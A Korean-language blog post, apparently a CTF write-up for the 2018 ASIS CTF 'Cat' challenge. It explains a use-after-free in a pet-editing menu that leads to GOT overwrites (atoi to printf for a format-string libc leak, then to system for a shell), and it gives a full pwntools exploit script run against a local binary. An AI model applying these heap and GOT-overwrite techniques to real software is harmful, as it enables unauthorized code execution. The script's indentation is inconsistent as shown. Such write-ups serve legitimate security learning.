본문 바로가기
pwnable/ctf

[write-up] 2018 ASIS CTF - Cat

by Ryuuu 2018. 5. 2.

먼저 바이너리를 보면 64비트 바이너리이다.


보호기법은 nx, 카나리가 걸려 있다.

 


실행시켜보면 pet을 create, edit, delete, 그리고 print해주는 메뉴가 존재한다.

 


그 중 먼저 create 부터 보면 별거 없고 그냥 구조체를 이용해 bss 영역에 동적할당을 해 값을 넣는 것을 확인할 수 있었다. 

구조체 구조를 써보면

 struct pet{ 

char pet_name[22]; 

char pet_kind[22]; 

int pet_age; 

이런식으로 되어있는 거 같았다.


그런데 edit을 보면 edit을 할지 안할지를 입력을 나중으로 미뤄놓고 일단 ptr에 동적할당을 해 수정할 값을 입력받는다. 그 후 그 후 안한다고 하면 free하는 것을 볼 수 있었다. 그런데 여기서 동적할당하는 길이가 create해줄때와 같아서 uaf의 느낌이 강하게 났다.

 

그래서 그 부분을 자세히 보던 결과 edit을 안해준다고 하면 free을 하긴 하는데 ptr 값을 초기화해주지 않는 것을 확인할 수 있었다.

 


그렇게 된다면 다음번 edit으로 들어올 때 ptr에 값이 남아있어 새로 동적할당을 하지 않게 된다.

그리고 위에서 말했듯 동적할당하는 길이가 create해줄 때의 길이가 같기 때문에 다시 create를 해준다면 uaf가 일어나서 edit에서 free해준 역순으로 할당이 되게 된다.

따라서 그것을 이용하여 create에 overwrite해줄 got의 주소를 써주고 다시 edit으로 와주면 ptr에 값이 남아있기 때문에 overwrite해줄 got 내부에 값을 써줄 수 있다.

취약점은 이렇게 빨리 찾았는데 릭이 좀 힘들었다.... free를 puts나 printf로 덮어주면 릭은 되지만 다시 익스하는게 힘들었고 atoi를 puts로 덮자니 atoi 인자를 4바이트밖에 전달할 수 없어서 릭이 안됐다..... 여기서 엄청 오래걸렸다......

그래서 한참 고민하다 atoi를 printf로 덮어 형식문자열 %p로 스택을 살폈더니 마침 libc를 가리키는 부분이 있어서 libc릭하고 다시 atoi를 system으로 바꿔서 익스했다.


쉬운 문제라고 낸거 같은데 릭에서 너무 삽질했다.....


payload

 
#usr/bin/env python
#ryuuu

from pwn import *
import sys

def create(index):
    if(index == 0):
        s.sendlineafter("> ","1")
    else:
        s.sendafter("> ","1\x00")
    s.sendlineafter("> ", "123") 
    s.sendlineafter("> ", p64(0x602068)) #overwrite atoi_got
        s.sendlineafter("> ","789")

def first_edit():
        s.sendlineafter("> ","2")
        s.sendlineafter("> ","0")
        s.sendlineafter("> ","123") 
        s.sendlineafter("> ","123") 
    s.sendlineafter("> ","123")
        s.sendlineafter("(y)/n> ","n")

def printf_edit():
    s.sendafter("> ","22\x00")
        s.sendafter("> ","1\x00")
        s.sendlineafter("> ","123")
        s.sendlineafter("> ","123")
        s.sendlineafter("> ","123")
        s.sendlineafter("(y)/n> ","n")

def second_edit():
        s.sendlineafter("> ","2")
        s.sendlineafter("> ","0")
        s.sendlineafter("> ",p64(0x4006D0))  #overwrite atoi_got to printf_plt
        s.sendlineafter("> ", "123")
    s.sendlineafter("> ","%3$p")
    leak = s.recv(14)
    leak = int(leak,16)

    libc_start_main_addr = leak - 879392
    libc_base = libc_start_main_addr - libc_start_main_offset
    system_addr = libc_base + libc_system

    log.info("libc_start_main_addr : "+hex(libc_start_main_addr))
    log.info("libc_base : "+hex(libc_base))

    return system_addr

def last_edit(system_addr):
        s.sendafter("> ","22\x00")
        s.sendafter("> ","1\x00")
        s.sendlineafter("> ",p64(system_addr))  #overwrite atoi_got to system
        s.sendlineafter("> ", "123")
        s.sendlineafter("> ","sh")

def ex():
    create(0)        
    first_edit()
    create(0)
    system_addr = second_edit()

    create(1)
    printf_edit()
    create(1)
    last_edit(system_addr)

if __name__=='__main__':

    s = process("./Cat")
#    s = process(["strace","-i","./Cat"])

        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

        libc_start_main_offset = libc.symbols['__libc_start_main']
        libc_system = libc.symbols['system']    #system offset
        libc_binsh = next(libc.search("/bin/sh\x00")) #binsh offset

    print util.proc.pidof(s)
    pause()
    ex()    
    s.interactive()


'pwnable > ctf' 카테고리의 다른 글

[write-up] 2017 defcon CTF - smashme  (3) 2018.05.09
x64 systemcall execveat  (0) 2018.05.06
[write-up] 2018 codegate - Super Marimo  (0) 2018.03.08
[write-up] 2018 codegate - BaskinRobins31  (0) 2018.02.06
[write-up] 2017 white_league-start  (0) 2018.02.05

댓글